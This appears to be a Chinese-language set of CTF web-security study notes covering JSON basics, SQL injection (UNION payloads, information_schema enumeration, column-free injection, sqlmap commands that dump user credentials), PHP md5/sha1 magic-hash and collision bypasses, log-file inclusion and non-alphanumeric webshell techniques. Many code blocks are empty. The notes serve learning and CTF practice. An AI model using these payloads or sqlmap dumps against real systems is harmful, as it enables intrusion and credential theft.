Web基本知识
JSON
JSON的值:
1.JSON的构成: ws 值
2.值可以是对象、数组、数字、字符串或者三个字面值(false、null、true)中的一个。值中的字面值中的英文必须使用小写。
3.对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:
1 | {"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}} |
引用JSON中的对象可以包含多个键值对,并且有数组结构,该语言正是一次实现过程内容的描述。
数组是由方括号括起来的一组值构成,如:
[3, 1, 4, 1, 5, 9, 2, 6]
3字符串与C或者Java的字符串非常相似。字符串是由双引号包围的任意数量Unicode字符的集合,使用反斜线转义。一个字符(character)即一个单独的字符串(character string)。
数字也与C或者Java的数值非常相似。除去未曾使用的八进制与十六进制格式。除去一些编码细节。
MD5加密
MD5是一种哈希函数,它将任意长度的信息压缩成128位长度的信息,通常使用32个十六进制数表示。
1 |
|
–和#在SQL中的区别
在SQL中, – 和 # 都⽤作单⾏注释,但它们的使⽤环境和数据库系统兼容性有些不同。
- -:这是SQL标准的单⾏注释符号。⼤多数SQL数据库,包括SQL Server、PostgreSQL和MySQL,都⽀持
使⽤ - 进⾏单⾏注释。通常, - 后⾯需要跟⼀个空格。
1 | SELECT * FROM table -- 这是⼀个注释 |
2.# MySQL特有的单行注释符号。不是SQL标准的一部分。
1 | SELECT * FROM table # 这也是⼀个注释,但仅在MySQL中有效 |
+号作用
由于空格通常会被去掉或需要编码(通常为 %20 或 + ),所以直接使⽤⼀个空格可能会导致
SQL语法错误。
添加”+“确保注释 – 后⾯有⼀个空格,这样数据库就能正确解析这个SQL注释。
sql注入中的union select
https://blog.csdn.net/qq_44159028/article/details/114820256
UNION
1 | SELECT 列名 FROM 表名 |
注意使用UNION的时候要注意两个表的数量必须相同
union select
用来合并两个或多个 SELECT 语句的结果集
union select 只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错
select 1,2,3…
select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组,.select 之后可以接一串数字:1,2,3…只是一个例子,这串数字并不一定要按从小到大排列,不一定从1开始,这串数字的值和顺序是任意的,甚至可以是重复的,如:11,465,7461,35 或11,11,11,11,数字串的长度也是任意的,我们想获得多少列的数据,就写多少个数字

select 加数字串并加上数据库表的名字
users2如下

进行查询,select 1,22,34,45,65 from users2

users2表有四个字段,可以看出行行代表 表格的字段(id,name,age,address)。原来的id,name等属性被替换成了这些数字串,而且我们输入的数字串长度是任意的,输入几个数字,就会出现几个属性,也就是说返回表的列数是等于我们输入的数字个数的,而行数与原数据库表的结构保持一致,原本有4行数据,输入数字串后仍为4行。
简单的sql注入
-1‘ union select 1,2,3#
获取所有表结构(TABLES)
SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=’数据库名’;
LIMIT
#返回表中前number行数据
SELECT column1, column2, … FROM table_name LIMIT number; #从offset+1行开始返回row_count行数据
#从offset+1行开始返回row_count行数据
SELECT column1, column2, … FROM table_name LIMIT offset, row_count;
#比如 LIMIT 10, 10 返回11-20行数据
SQL注入通过是否报错信息判断注入类型
| 输入 | 后台执行 | 后台报错 | 解释 |
|---|---|---|---|
1" |
id = "1"" |
near '"1""' at line 1 |
去掉外层 SQL 的单引号,留下"1"",除去自己的输入 1"可知类型为 双引号 的 字符型注入 |
1' |
id = '1'' |
near ''1''' at line 1 |
同理,留下'1''除去自己的输入 1'可知类型为 单引号 的 字符型注入 |
'1 |
id = ''1' |
near '1'' at line 1 |
对于后台 SQL,由于 id = ''已经合法闭合,所以后面 1'反而为多出的语句,所以报错点在 1' |
第一个当内容为’”1””‘时,先去掉两边单引号得到”1”‘’,可知出错内容为”1’’”
第三个报错内容为’1’’时候,说明出错内容为1’,前面已经闭合,因此报错内容在1’由此可以推断为单引号型注入
SQL注入常见流程
1 | id = 1 Order by 1; |
使用联合查询 union 基于 information_schema 拿到数据库名
1 | union SELECT 1,schema_name FROM information_schema.schemata; |
判断那个是否显示只需要尝试注入几次就可以了
用联合查询得到数据库里面的表名
1 | union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() |
SQL注入知识
information_schema.schemata:记录所有数据库名的表 在schemata表中,schema_name字段用来存储数据库名
information_schema.tables:记录所有表名信息的表在table表中,table_schema和table_name分别用来存储数据库名和表名
information_schema.columns:记录所有列名信息的表 table_schema(数据库名),table_name(表名),column_name(字段名)
table_name:表名
column_name:列名
table_schema:数据库名
database_name: mysql.innodb_table_stats中的数据库名
跨库选择表:需要在表前添加该表的数据库名称,否则会默认为当前库的表。
ex: select * from 数据库名.表名
SQL无列名注入
当information_schema被滤过时,可以利用表mysql.innodb_table_stats、mysql.innodb_table_index,同样具有库名表名,但不具有列名。

无列名查询:
无列名注入,因为不知道列名,所以将列名用select 1,2,3… union select * from 数据表的方式将列名更换为1,2,3..
如:
id=0'union select 1,2,group_concat('1') from (select 1 union select *from ctftraining.flag)a where 1='1
*这里(select 1 union select from ctftraining.flag)a 相当于是将通过select union select操作更换过列名的表命名为a,从使得前面的union select可以用数字’1’来查列名下的内容,
当’’被禁用时,可以用as的方式,为列名命名另一个名称来进行无列名查询
id=0'union select 1,2,group_concat(b) from (select 1 as b union select *from ctftraining.flag)a where 1='1
列名获取:
通过使用join和using,在使用join来拼接表时,有一个语法错误为两张表中的列名重复,因此可以显示该语法错误来找到该表的列名(如果两张表为同一张表需要给两张表以及拼接后的表都起一个别名)
1 | select * from (select * from tableName as a join tableName as b) as c; |
1 | select * from (select * from tableName as a join tableName as b using(colunmName) ) as c;//使用using避免重复列 |


SQLmap
vim sql.http 把bp抓到的请求写进去并:wq保存
sqlmap -r ./sql.http -p id -dbs --batch
sqlmap -r ./sql.http -p id --current-db --batch
sqlmap -r ./sql.http -p id -D pikachu -tables --batch
sqlmap -r ./sql.http -p id -D pikachu -T users --columns --batch
sqlmap -r ./sql..http -p id -D pikachu -T users -C username,password -dump --batch
字符型:
sqlmap -u 'url' -p name -bs --batch
HTTP 请求头中的 Remote_Addr, X-Forwarded-For, X-Real-IP
Remote_Addr
Remote_Addr 是一个标准 HTTP 请求头,用于标识发起请求的客户端的 IP 地址。这个头部字段通常由 Web 服务器用来记录或日志记录客户端的 IP 地址。然而,由于大多数 Web 请求都经过了代理服务器或负载均衡器,Remote_Addr 头部字段通常包含的是代理服务器的 IP 地址,而不是原始客户端的 IP 地址。
X-Forwarded-For
X-Forwarded-For 是一个常用的 HTTP 请求头,用于揭示请求在经过代理服务器时的来源 IP 地址。当一个请求经过一个或多个代理服务器时,每个代理服务器都会在 X-Forwarded-For 头部字段中添加其自己的 IP 地址。这样,最终的 Web 服务器可以从 X-Forwarded-For 头部字段中获取完整的客户端 IP 地址列表。
X-Real-IP
X-Real-IP 是另一个用于标识客户端真实 IP 地址的 HTTP 请求头。与 X-Forwarded-For 不同,X-Real-IP 是由最后一个代理服务器设置的,用于揭示未经任何代理服务器转发的原始客户端 IP 地址。
日志文件包含
一般位于:
apache:/var/log/apache/access.log
nginx:/var/log/nginx/access.log
通过修改User-Agent: 执行命令 如
md5绕过 sha1绕过
1.0e绕过弱比较
1 |
|
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。
- 以下值在md5加密后以0E开头:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
以下值在sha1加密后以0E开头:
- aaroZmOk
- aaK1STfY
- aaO8zKZF
- aa3OFF9m
- 0e1290633704
- 10932435112
双重MD5加密后0E开头:
- 7r4lGXCH2Ksu2JNT3BYM
- CbDLytmyGm2xQyaLNhWn
- 770hQgrBOjrcqftrlaZk
数组绕过:
MD5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
md5碰撞
1 |
|
由于数组在string后都为array,所以要求传入两个MD5相同的不同字符串且不能是数组,所以通过MD5碰撞实现。
1 | #1 |
linux使用md5collgen碰撞生成两个md5值相同但内容不同的文件
1 | md5collgen -o 1.bin 2.bin |
windows可以下载fastcoll,碰撞生成两个md5值相同但内容不同的文件
1 | fastcoll.exe -p 123.txt -o 1.txt 2.txt |
特殊值:0e215962017 在md5后仍以0e开头
NaN和INF
NAN和INF,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN=NAN都是false,但md5(‘NaN’)=md5(‘NaN’)为true。
截断比较
1 | substr(md5(?),0,5)==='8ffb1' |
md5截断爆破脚本
1 | import hashlib |
sha256截断爆破
1 | import hashlib |
RCE 不包含数字和字母的webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
1 |
|
方法一:通过字符串执行异或得到字符串
1 |
|
方法二:取反
1 |
|
这串代码的思想是先利用php的弱类型特性 true+true 等价于1+1=2,得到1和2的值,然后再通过{}索引的方式去取中文字符UTF-8编码的值并反转得到想要的字符串然后拼接。
方法三:自增操作
PHP沿袭了Perl的习惯,在$a=’Z’时,将$a变成’AA’,'a'++ => 'b','b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
获取字符串’a’,在PHP中,强制连接数组和字符串,数组将被转换成字符串,其值为’Array’